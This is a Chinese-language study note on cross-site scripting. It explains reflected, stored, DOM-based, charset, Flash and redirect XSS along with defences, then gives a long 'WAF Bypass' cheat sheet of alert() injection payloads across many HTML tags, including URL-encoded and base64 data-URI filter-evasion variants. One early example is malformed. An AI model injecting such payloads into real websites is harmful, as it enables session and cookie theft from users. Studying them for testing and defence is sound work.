XSS注入

"球球你了!就让我插一句话,我什么都会做的!!!"

"byd被我注入了吧"

认识XSS攻击

XSS全称是Cross Site Scripting即跨站脚本,当目标网站目标用户浏览器渲染HTML文档的过程中,出现了不被预期的脚本指令并执行时,XSS就发生了。

  • XSS 的运行原理是将恶意的 script 脚本插入进 html/css/js 文件当中。(通过在html标准的语句后触发事件,而事件则是执行恶意js

    代码)

作为一种HTML注入攻击,XSS攻击的核心思想就是在HTML页面中注入恶意代码,而XSS采用的注入方式是非常巧妙的。在XSS攻击中,一般有三个角色参与:攻击者、目标服务器、受害者的浏览器。

由于有的服务器并没有对用户的输入进行安全方面的验证,攻击者就可以很容易地通过正常的输入手段,夹带进一些恶意的HTML脚本代码。当受害者的浏览器访 问目标服务器上被注入恶意脚本的页面后,由于它对目标服务器的信任,这段恶意脚本的执行不会受到什么阻碍。而此时,攻击者的目的就已经达到了。

反射型XSS

又称**非持久型XSS**。之所以称为反射型XSS,是因为这种攻击方式的注入代码是从目标服务器通过错误信息、搜索结果等等方式“反射”回来的:发出请求时,XSS代码出现在URL中,作为输入提交到服务器端,服务器端解析后响应,XSS代码随响应内容一起传回给浏览器,最后浏览器解析执行XSS代码。这个过程像一次反射,故叫反射型XSS。 而称为非持久型XSS,则是因为这种攻击方式具有一次性,由于代码注入的是一个动态产生的页面而不是永久的页面,因此这种攻击方式只在点击链接的时候才产生作用。

攻击者通过电子邮件等方式给别人发送带有恶意脚本代码参数的 URL,当 URL 地址被打开时,注入脚本被传输到目标服务器上,然后服务器将注入脚本“反射”到受害者的浏览器上,特有的恶意代码参数被 HTML 解析、执行。

非持久型 XSS 漏洞攻击的**四大特点**:① 即时性。不经过服务器存储,直接通过 HTTP 的 GET 和 POST 请求就能完成一次攻击,拿到用户隐私数据;②攻击者需要诱骗点击;③反馈率低,所以较难发现和响应修复;④盗取用户敏感保密信息。

防止出现非持久型 XSS 漏洞的**五大措施**:① Web 页面渲染的所有内容或者渲染的数据都必须来自于服务端;②尽量不要从 URL,document.referrer,document.forms 等这种 DOM API 中获取数据直接渲染;③尽量不要使用 eval, new Function(),document.write(),document.writeln(),window.setInterval(),window.setTimeout(),innerHTML,document.creteElement() 等可执行字符串的方法;④如果做不到以上几点,也必须对涉及 DOM 渲染的方法传入的字符串参数做 escape 转义;⑤ 前端渲染的时候对任何的字段都需要做 escape 转义编码

反射型 XSS 的 Payload 如下

<script>alert(1)<script>

绕过

  • “>闭合绕过

存储型XSS

存储型XSS,又称持久型XSS,他和反射型XSS最大的不同就是,攻击脚本将被永久地存放在目标服务器端(数据库,内存,文件系统等),下次请求目标页面时不用再提交XSS代码。

一般存在于 Form 表单提交等交互功能,如发帖留言,提交文本信息等,黑客利用的 XSS 漏洞,将内容经正常功能提交进入数据库持久保存,当前端页面获得后端从数据库中读出的注入代码时,恰好将其渲染执行。

这种攻击多见于论坛,攻击者在发帖的过程中,将恶意脚本连同正常信息一起注入到帖子的内容之中。随着帖子被论坛服务器存储下来,恶意脚本也永久地被存放在论坛服务器的后端存储器中。当其它用户浏览这个被注入了恶意脚本的帖子的时候,恶意脚本则会在他们的浏览器中得到执行,从而受到了攻击。

可以看到,存储型XSS的攻击方式能够将恶意代码永久地嵌入一个页面当中,所有访问这个页面的用户都将成为受害者。如果我们能够谨慎对待不明链接,那么反射型的XSS攻击将没有多大作为,而存储型XSS则不同,由于它注入的往往是一些我们所信任的页面,因此无论我们多么小心,都难免会受到攻击。可以说,存储型XSS更具有隐蔽性,带来的危害也更大,除非服务器能完全阻止注入,否则任何人都很有可能受到攻击。

持久型 XSS 的三**大特点**:①持久性,植入在数据库中;②危害面广,甚至可以让用户机器变成 DDoS 攻击的肉鸡;③ 盗取用户敏感私密信息。

防止持久型 XSS 漏洞的**三大措施:** ①后端在入库前应该选择不相信任何前端数据,将所有的字段统一进行转义处理;②后端在输出给前端数据统一进行转义处理;③前端在渲染页面 DOM 的时候应该选择不相信任何后端数据,任何字段都需要做转义处理。

DOM-based 型

客户端的脚本程序可以动态地检查和修改页面内容,而不依赖于服务器端的数据。例如客户端如从 URL 中提取数据并在本地执行,如果用户在客户端输入的数据包含了恶意的 JavaScript 脚本,而这些脚本没有经过适当的过滤和消毒,那么应用程序就可能受到 [DOM-based XSS](https://zhida.zhihu.com/search?content_id=164263694&content_type=Article&match_order=1&q=DOM-based+XSS&zhida_source=entity) 攻击。需要特别注意以下的用户输入源 document.URL、 location.hash、 location.search、 document.referrer 等。

基于字符集的 XSS

哪怕现在很多的浏览器以及各种开源的库都专门针对了 XSS 进行转义处理,尽量默认抵御绝大多数 XSS 攻击,但是还是有很多方式可以绕过转义规则,让人防不胜防。比如「基于字符集的 XSS 攻击」就是绕过这些转义处理的一种攻击方式,比如有些 Web 页面字符集不固定,用户输入非期望字符集的字符,有时会绕过转义过滤规则。

可以形成「基于字符集的 XSS 攻击」的原因是由于浏览器在 meta 没有指定 charset 的时候有自动识别编码的机制,所以这类攻击通常就是发生在没有指定或者没来得及指定 meta 标签的 charset 的情况下。

避免基于字符集的 XSS 攻击的**两大方法:**①记住指定 <meta charset="utf-8">;② XML 中不仅要指定字符集为 utf-8,而且标签要闭合。

基于 Flash 的跨站 XSS

基于 Flash 的跨站 XSS 也是属于反射型 XSS 的一种,AS 脚本可以接受用户输入并操作 cookie,攻击者可以配合其他 XSS(持久型或者非持久型)方法将恶意 swf 文件嵌入页面中。主要是因为 AS 有时候需要和 JS 传参交互,攻击者会通过恶意的 XSS 注入篡改参数,窃取并操作cookie。

基于 Flash 的跨站 XSS 的**两种避免方法** **:**①严格管理 cookie 的读写权限;②对 Flash 能接受用户输入的参数进行过滤 escape 转义处理。

未经验证的跳转 XSS

有一些场景是后端需要对一个传进来的待跳转的 URL 参数进行一个 302 跳转,可能其中会带有一些用户的敏感(cookie)信息。如果服务器端做302 跳转,跳转的地址来自用户的输入,攻击者可以输入一个恶意的跳转地址来执行脚本。

防止未经验证的跳转 XSS漏洞的**两种措施:**①对待跳转的 URL 参数做白名单或者某种规则过滤;②后端注意对敏感信息的保护, 比如 cookie 使用来源验证。

XSS BOT

WAF Bypass

常用标签语句

<script>

哈哈,经典款,鉴定为第一个过滤的

元素内部构造:

<script>alert('xss')</script>
<script>alert(/xss/)</script>
<script>alert(123)</script>

<a>

也是经典款(指html里面)

元素内部构造:

<a href="javascript:alert(1)">test</a>
<a href="x" onfocus="alert('xss');" autofocus="">xss</a>
<a href="x" onclick=eval("alert('xss');")>xss</a>
<a href="x" onmouseover="alert('xss');">xss</a>
<a href="x" onmouseout="alert('xss');">xss</a>
/*呃呃,感觉要多记这些属性,反正前端设计也要用到*/

<img>

作为一个图片触发,成功触发会显示一个破损的图片

元素内部构造:

<img src=x onerror="alert(1)">
<img src=x onerror=eval("alert(1)")>
<img src=1 onmouseover="alert('xss');">
<img src=1 onmouseout="alert('xss');">
<img src=1 onclick="alert('xss');">

<iframe>

内嵌框架元素

元素内部构造:

<iframe src="javascript:alert(1)">test</iframe>
<iframe onload="alert(document.cookie)"></iframe>
<iframe onload="alert('xss');"></iframe>
<iframe onload="base64,YWxlcnQoJ3hzcycpOw=="></iframe>
<iframe onmouseover="alert('xss');"></iframe>
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">

<audio>

音频元素

元素内部构造:

<audio src=1 onerror=alert(1)>
<audio><source src="x" onerror="alert('xss');"></audio>
<audio controls onfocus=eval("alert('xss');") autofocus=""></audio>
<audio controls onmouseover="alert('xss');"><source src="x"></audio>

video

视频元素

元素内部构造:

<video src=x onerror=alert(1)>
<video><source onerror="alert('xss');"></video>
<video controls onmouseover="alert('xss');"></video>
<video controls onfocus="alert('xss');" autofocus=""></video>
<video controls onclick="alert('xss');"></video>

svg

矢量图片元素

元素内部构造:

<svg onload=javascript:alert(1)>
<svg onload="alert('xss');"></svg>

<button>

元素上点击鼠标时触发(因为人叫button

元素内部构造:

<button onclick=alert(1)>
<button onfocus="alert('xss');" autofocus="">xss</button>
<button onclick="alert('xss');">xss</button>
<button onmouseover="alert('xss');">xss</button>
<button onmouseout="alert('xss');">xss</button>
<button onmouseup="alert('xss');">xss</button>
<button onmousedown="alert('xss');"></button>

<div>

html当中常规的切割元素,但是需要urlcode来进行绕过

原代码:
<div onmouseover='alert(1)'>DIV</div>
经过url编码:
<div onmouseover%3d'alert%26lpar%3b1%26rpar%3b'>DIV<%2fdiv>

<object>

嵌入对象元素,引入一个外部资源

这个需要借助 data 伪协议和 base64 编码来实现绕过

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4="></object>

<p>

<p onclick="alert('xss');">xss</p>
<p onmouseover="alert('xss');">xss</p>
<p onmouseout="alert('xss');">xss</p>
<p onmouseup="alert('xss');">xss</p>

<input>

<input onclick="alert('xss');">
<input onfocus="alert('xss');">
<input onfocus="alert('xss');" autofocus="">
<input onmouseover="alert('xss');">
<input type="text" onkeydown="alert('xss');"></input>
<input type="text" onkeypress="alert('xss');"></input>
<input type="text" onkeydown="alert('xss');"></input>

<details>

<details ontoggle="alert('xss');"></details>
<details ontoggle="alert('xss');" open=""></details>

<select>

<select onfocus="alert('xss');" autofocus></select>
<select onmouseover="alert('xss');"></select>
<select onclick=eval("alert('xss');")></select>

<form>

表单元素

<form method="x" action="x" onmouseover="alert('xss');"><input type=submit></form> 
<form method="x" action="x" onmouseout="alert('xss');"><input type=submit></form> 
<form method="x" action="x" onmouseup="alert('xss');"><input type=submit></form>

<body>

<body onload="alert('xss');"></body>